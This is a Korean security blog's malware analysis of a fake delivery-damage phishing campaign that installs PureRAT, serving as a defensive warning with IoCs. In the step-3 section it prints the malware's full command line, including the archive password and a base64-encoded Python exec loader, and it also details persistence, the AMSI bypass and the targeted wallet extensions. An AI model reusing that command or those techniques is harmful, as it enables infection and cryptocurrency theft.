상세 컨텐츠

본문 제목

배송 파손 민원 사칭 메일로 유포되는 PureRAT 악성코드 주의

악성코드 분석 리포트

by 알약4 2026. 10. 30. 10:00

본문

[이미지] 생성형 AI 제작

 

쇼핑몰 및 배송 업체를 사칭해 상품 파손에 따른 보상이나 민원 처리를 빌미로 악성코드를 유포하는 피싱 공격이 지속적으로 확인되고 있어 사용자들의 각별한 주의가 필요합니다.

앞서 포스팅한 「상품 파손 사칭 메일로 유포되는 다단계 정보탈취 악성코드 주의」에서도 살펴본 바와 같이, 공격자들은 상품 파손이나 분쟁 해결과 같은 일상적인 상황을 악용해 수신자의 불안감과 확인 욕구를 자극하는 사회공학적 기법을 활용하고 있습니다.

 

 

상품 파손 사칭 메일로 유포되는 다단계 정보탈취 악성코드 주의

국내 정부기관 담당자를 대상으로 상품 파손 클레임을 사칭한 스피어피싱 메일이 확인되었습니다. 해당 메일은 악성코드를 직접 첨부하는 대신 외부 파일 공유 서비스 링크를 통해 압축 파일을

blog.alyac.co.kr

 

최근에도 이러한 공격 방식과 유사하게 ‘배송 중 파손된 상품에 대한 해결 요청’, ‘주문 상품 파손 증빙 자료 제출’ 등의 제목을 사용한 피싱 메일이 유포된 것으로 확인되었습니다. 

 

이번에 발견된 피싱 메일은 본문에 파손 증빙 영상을 확인할 수 있는 링크가 포함되어 있으며, 클릭 시 가짜 동영상 페이지를 거쳐 악성 ZIP 파일이 다운로드됩니다. 최종 페이로드는 PureRAT 악성코드로, 정상 서명된 Microsoft Office 바이너리를 이용한 DLL Side-Loading 및 Python을 통한 CLR 호스팅 등 복잡한 감염 체인을 거쳐 메모리상에서만 실행됩니다. 

 

특히, 공격자는 Google AppSheet의 알림 기능을 악용하여 정상적인 Google 인프라를 통해 메일을 발송하였습니다. 이에 따라 SPF, DKIM, DMARC 등 주요 이메일 인증을 모두 통과하여 메일 보안 솔루션의 탐지를 회피하는 방식을 사용하였습니다.

 

[그림 1] 피싱 메일 - 배송 파손 민원을 위장한 내용과 동영상 링크

 

공격 흐름

 

전체 흐름은 [피싱 메일 수신 → 단축 링크 접속 → 가짜 동영상 페이지를 통한 압축 파일 다운로드(Blob URL) → 정상 WinWord.exe와 악성 DLL을 이용한 DLL 사이드로딩 → RC4 복호화 및 명령 프롬프트 실행 → 파이썬 기반 로더를 통한 은닉 실행 → XOR 복호화 및 메모리 실행 → .NET 기반 로더의 추가 복호화 및 악성코드 로딩 → PureRAT 실행 → 공격자 C2 서버 접속] 순서로 전개됩니다.

💡 참고하세요

Blob URL (Blob Object URL) 이란?

웹 브라우저에서 특정 데이터 객체(Blob)에 접근하기 위해 생성하는 URL입니다. 일반적인 URL이 웹 서버의 리소스를 가리키는 것과 달리, Blob URL은 브라우저가 관리하는 데이터 객체를 참조합니다. 주로 동영상이나 이미지 재생, 파일 다운로드 등 웹 페이지에서 데이터를 동적으로 처리하는 데 사용됩니다.

 

[그림 2] 공격 흐름도 - 피싱 메일부터 PureRAT 실행까지의 공격 체인

 

단계별 상세 분석

 

1단계 - 피싱 메일 (Google AppSheet 악용)

이번 공격에서는 1분 간격으로 총 2건의 피싱 메일이 발송되었습니다. 제목, 표시 발신자명, 회신 Gmail 주소, 링크는 각각 다르지만 내려받는 최종 악성 파일은 동일합니다.

 

항목 메일1 메일2
수신 시각 2026-09-30 18:52 2026-09-30 18:53
제목 배송 중 파손 상품 해결 요청 주문 상품 파손 증빙 자료 제출
원 발신 주소 noreply@appsheet.com noreply@appsheet.com
Reply-To m0505722711@gmail.com m0505507426@gmail.com
링크
hxxps://share.google/7tGzuficabudV0rhK
hxxps://share.google/89CL7uhzTUBjfk10t
발신 IP 209.85.220.69 (Google) 209.85.220.69 (Google)
인증 결과  SPF pass / DKIM pass / DMARC pass SPF pass / DKIM pass / DMARC pass

[표 1] 메일1,2 비교

 

공격자는 Google AppSheet 앱("SendForce")의 메일 발송 기능을 악용했습니다. 발신 인프라가 Google의 정상 서버이므로 SPF·DKIM·DMARC 인증을 모두 통과하며 도메인 평판 분석으로도 차단되지 않습니다.

 

2단계 - 가짜 동영상 다운로드 페이지

본문의 share.google 단축 링크를 클릭하면 가짜 동영상 플레이어 페이지(videostroge.alleasing.co.nz)로 이동합니다.

 

화면에 표시된 "Unable to preview video → Download" 버튼을 누르면 브라우저의 blob: URL을 통해 약 137MB 크기의 ZIP 파일이 다운로드됩니다. 이는 HTML 스머글링(HTML Smuggling) 기법으로, 실제 다운로드 서버 주소가 네트워크 로그에 직접 남지 않는 특징이 있습니다.

 

[그림 3] 가짜 동영상 페이지 - 미리보기 불가 안내 및 다운로드 유도

 

3단계 - DLL Side-Loading (정상 WinWord.exe 악용)

다운로드된 ZIP 파일 내부의 Unboxing_Evidence_For_Dispute_Mp4.exe는 정상 서명된 Microsoft Word 실행 파일(WinWord.exe)입니다. 실행 시 동일한 폴더에 위치한 악성 DLL(msvcr100.dll)을 로드하는 DLL Side-Loading 공격을 수행합니다.

 

파일명 역할 및 설명
Unboxing_Evidence_For_Dispute_Mp4.exe 정상 WinWord.exe (Microsoft 정식 서명)
msvcr100.dll 악성 DLL (126MB, 탐지 회피용 패딩 포함)
\x\document.docx 미끼(Decoy) 문서 파일
\x\HV_2015년_냉동식품재고_어쩌라고.pdf RC4 암호화된 명령줄 데이터
\x\QK_2016년_편의점영수증철_아무거나.png 정상 WinRAR 7.20 (rar.exe, 확장자 위장)
\x\GX_2019년_핸드폰배터리일지_아무거나.dat 암호가 설정된 RAR5 아카이브

[표 2] 압축파일 내부 사용되는 파일 리스트 

 

[그림 4] ZIP 내부 파일 구성 - 정상 바이너리와 악성 DLL, 위장된 파일이 담겨있는 x 폴더 화면

 

악성 DLL의 실제 PE 크기는 약 424KB에 불과하지만, 125.7MB 상당의 더미 데이터를 추가하여 전체 크기를 126MB로 부풀렸습니다. 이는 백신 및 샌드박스 시스템의 파일 스캔 크기 제한을 우회하기 위한 의도로 판단됩니다.

 

악성 DLL은 가짜 PDF 파일(HV_2015년_냉동식품재고_어쩌라고.pdf)에 저장된 RC4 암호화 명령줄을 복호화한 후, CreateProcessW(CREATE_NO_WINDOW)를 통해 다음 명령을 실행합니다.

cmd.exe /c cd x && start "" "document.docx" && (mkdir "C:\Users\Public\WindowsUpdate" && "QK_2016년_편의점영수증철_아무거나.png" x -p"6qnJfHwzkzTq9ERQJsOkE8JxENzmDjNJwLAyX0l5xeegkID1eKr4dgyKr" "GX_2019년_핸드폰배터리일지_아무거나.dat" "C:\Users\Public\" -y && cd "C:\Users\Public\WindowsUpdate" && "C:\Users\Public\WindowsUpdate\svchost.exe" -c "exec(__import__('base64').b64decode(b'aW1wb3J0IG9zLHN5cwpvcy5jaGRpcihvcy5wYXRoLmRpcm5hbWUob3MucGF0aC5hYnNwYXRoKHN5cy5leGVjdXRhYmxlKSkpCnViaXFnZWphZT1ieXRlcy5mcm9taGV4KCIxMmQzMGZmZDY2YjIxMmVlNDgxNjQxODk3YmEyMTFmYWE2M2QwNWU2ZjEzZTk1ZjhjYjVjZTA5ZjI0NmU2ZDk2IikKbXJvdnlxcWtwemFzd3M9b3BlbigiaW5zdHJ1Y3Rpb25zLnBkZiIsInJiIikucmVhZCgpCnNpa3VxZGFxdXZqPWJ5dGVzKG9nZHpieHNpbWV2cHhfXnViaXFnZWphZVttbXlla3dmZmUlbGVuKHViaXFnZWphZSldIGZvciBtbXlla3dmZmUsb2dkemJ4c2ltZXZweF8gaW4gZW51bWVyYXRlKG1yb3Z5cXFrcHphc3dzKSkKZXhlYyhzaWt1cWRhcXV2ai5kZWNvZGUoInV0Zi04IikpCg==').decode())")

명령에 대한 내용은 아래와 같습니다.

  1. 정상 문서(document.docx)를 열어 사용자의 의심을 피합니다.
  2. PNG로 확장자가 위장된 WinRAR(rar.exe)를 이용해 암호화된 RAR 압축파일을  C:\Users\Public\WindowsUpdate\ 경로에 해제합니다
  3. svchost.exe로 위장한 Python 인터프리터를 실행하여 Base64로 인코딩된 스텁 코드를 동작시킵니다.

 

4단계 - Python 로더 (AMSI 패치 및 CLR 호스팅)

Python 3.14 실행 파일을 svchost.exe로 변경하여 정상 시스템 프로세스로 위장하며, 두 번의 단계를 거쳐 실행됩니다.

  • 최초 실행 (지속성 확보)
    • 작업 스케줄러에 “MicrosoftEdge UpdateTaskMachineCore__ 등록 (5분 주기 실행)
    • HKCU\Software\Microsoft\Windows\CurrentVersion\Run 및 HKCU\Environment\UserInitMprLogonScript 레지스트리 등록
    • 설치 폴더 속성을 숨김(Hidden) 및 시스템(System)으로 변경
  • 실행 (메모리 페이로드 실행)

    a. AMSI 우회: AmsiScanBuffer 함수의 조건 분기를 jmp 명령어로 패치하여 메모리 스캔 무력화
    b. 내장된 블롭 데이터를 XOR 복호화하여 .NET PE 바이너리 획득
    c. CLR 호스팅: Python 프로세스 내부에서 .NET 런타임을 직접 로드하여 디스크 생성 없이 바이트 배열 상태로 .NET 어셈블리를 메모리에서 실행

CLR 호스팅 기법을 사용하면 .NET 실행 파일이 디스크에 남지 않으므로 파일 기반 탐지를 우회할 수 있으며, Python 프로세스 내에서 동작하여 프로세스 모니터링 탐지가 어렵습니다.

 

5단계 - .NET 로더 (PureCrypter)

.NET Reactor로 보호된 로더(Kxuwdm.exe)가 메모리상에서 동작합니다. 

Reactor 리소스를 XOR 스트림으로 복호화한 후, 내부 리소스 Gsiquqzsu를 TripleDES-CBC 복호화 → GZip 압축 해제 순으로 처리하여 최종 페이로드를 추출합니다.



6단계 - PureRAT (최종 페이로드)

PureRAT(Tstviq.dll)은 C2 서버와 TLS 연결을 형성하며, 자체 서명된 X509 인증서 및 Protocol Buffers(protobuf) 프로토콜을 사용하며, Chrome, Edge, Brave 등 주요 브라우저에 설치된 15종의 암호화폐 지갑 확장 프로그램 데이터를 탈취합니다. 

 

확장 프로그램 ID와 지갑 명칭은 3중 암호화(AES → XOR → XOR)되어 있으며, 복호화된 데이터는 총 21개로 확인되었습니다.

 

# 확장 ID (복호화) 지갑 (복호화된 라벨) 비고
1 ibnejdfjmmkpcnlpebklmnkoeoihofec TronLink  
2 nkbihfbeogaeaoehlefnkodbefgpgknn MetaMask Chrome 버전
3 fhbohimaelbohpjbbldcngcnapndodjp Binance Chain Wallet  
4 hpglfhgfnhbgpjdenjgmdgoeiappafln Guarda Chrome 버전
5 aholpfdialjgjfhomihkjbmgjidlcdno Exodus Web3 Chrome 버전
6 jiidiaalihmmhddjgbnbgdfflelocpak BitKeep (현 Bitget Wallet)  
7 hnfanknocfeofbddgcijnmhnfnkdnaad Coinbase Wallet  
8 egjidjbpglichdcondbcbdnbeeppgdph Trust Wallet  
9 bfnaelmomeimhlpmgjnjophhpkkoljpa Phantom  
10 hfljlochmlccoobkbcgpmkpjagogcgpk Solana Wallet 2023.08 웹스토어 삭제
11 dmkamcknogkgcdfhhbddcghachkejeap Keplr  
12 fnjhmkhhmkbjkkabndcnnogagogbneec Ronin Wallet  
13 ejbalbakoplchlghecdalmeeeajnimhm MetaMask Edge 버전
14 ghocjofkdpicneaokfekohclmkfmepbp Exodus Web3 브라우저 변형
15 heaomjafhiehddpnmncmhhpjaloainkn Trust Wallet 브라우저 변형
16 hkkpjehhcnhgefhbdcgfkeegglpjchdc Braavos Smart Wallet  
17 akoiaibnepcedcplijmiamnaigbepmcb Yoroi Cardano 지갑
18 blejemmajceniidjhaanbohkcckmdaeo MetaMask 브라우저 변형
19 acdamagkdfmpkclpoglgnbddngblgibo Guarda Wallet 브라우저 변형
20 okejhknhopdbemmfefjglkdfdhpfmflg BitKeep (현 Bitget Wallet) 브라우저 변형
21 mijjdbgpgbflkaooedaemnlciddmamai Waves Keeper Waves 블록체인 지갑

[표 3] 암호화페 지갑 목록

 

또한 Atomic Wallet, Electrum, Jaxx Liberty, Bitcoin-Qt, Dash-Qt, Litecoin-Qt, Ledger Live 등

7종의 데스크톱 지갑 데이터 및 Telegram Desktop 계정 정보를 탈취하는 기능이 포함되어 있습니다.

 

항목 탐지 방식
Atomic Wallet %APPDATA%\atomic\ 디렉터리 존재 확인
Electrum %APPDATA%\Electrum\ 디렉터리 존재 확인
Jaxx Liberty %APPDATA%\com.liberty.jaxx\ 디렉터리 존재 확인
Bitcoin-Qt HKCU\Software\Bitcoin\Bitcoin-Qt 레지스트리 strDataDir 값
Dash-Qt HKCU\Software\Dash\Dash-Qt 레지스트리 strDataDir 값
Litecoin-Qt HKCU\Software\Litecoin\Litecoin-Qt 레지스트리 strDataDir 값
Ledger Live Ledger Live.exe 파일 존재 확인 (Environment.SpecialFolder 기반 경로)
Telegram %APPDATA%\Telegram Desktop 디렉터리 및 Telegram.exe 파일 존재 여부

[표 4] 데스크톱 지갑 및 Telegram 탐지 방식

 

이외에도 시스템 정보 수집 및 안티 분석 기능을 수행합니다.

 

항목 내용
시스템 정보 수집 (WMI) - SELECT Caption FROM Win32_OperatingSystem
- Win32_PhysicalMemory
- root\SecurityCenter2
- SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
- Win32 API GetForegroundWindow() + GetWindowText()
- Win32 API GetLastInputInfo()
- Environment.UserName
- Environment.UserDomainName
- Screen.PrimaryScreen.Bounds
- SetThreadExecutionState
디버거 탐지 CheckRemoteDebuggerPresent
IsDebuggerPresent
NtQueryInformationProcess
Debugger.IsAttached
분석 도구 프로세스명 검사 dnspy
vsdbg
de4dot
debug

[표 5] 시스템 정보 수집 및 안티 분석 기능

 

 

결론 및 대응 방안

 

이번 공격은 Google AppSheet이라는 정상적인 SaaS 인프라를 악용하여 이메일 인증 체계를 우회하고, 6단계에 걸친 다중 암호화 및 위장 기법으로 보안 솔루션의 탐지를 철저히 회피하는 고도화된 피싱 공격입니다. 특히 Python 프로세스 내에서 CLR 호스팅을 통해 .NET 악성코드를 완전히 파일리스(Fileless)로 실행하는 점이 특징입니다.

 

주요 표적이 암호화폐 지갑 및 계정 정보이므로, 웹 브라우저 지갑 확장을 사용하는 임직원 및 사용자는 출처가 불분명한 이메일 내 링크 클릭에 각별히 주의해야 합니다. 의심스러운 메일을 수신한 경우 첨부파일이나 링크를 열람하지 말고 즉시 삭제하거나, 기업인 경우 보안 담당 부서로 신고해 주시기 바랍니다.

 

 

 

IoC

Indicator Type Description Detection Name
71C7E67695CDD321556323CEA21CF8FC MD5 악성 DLL Trojan.Loader.Agent

 

 

 

관련글 더보기

댓글 영역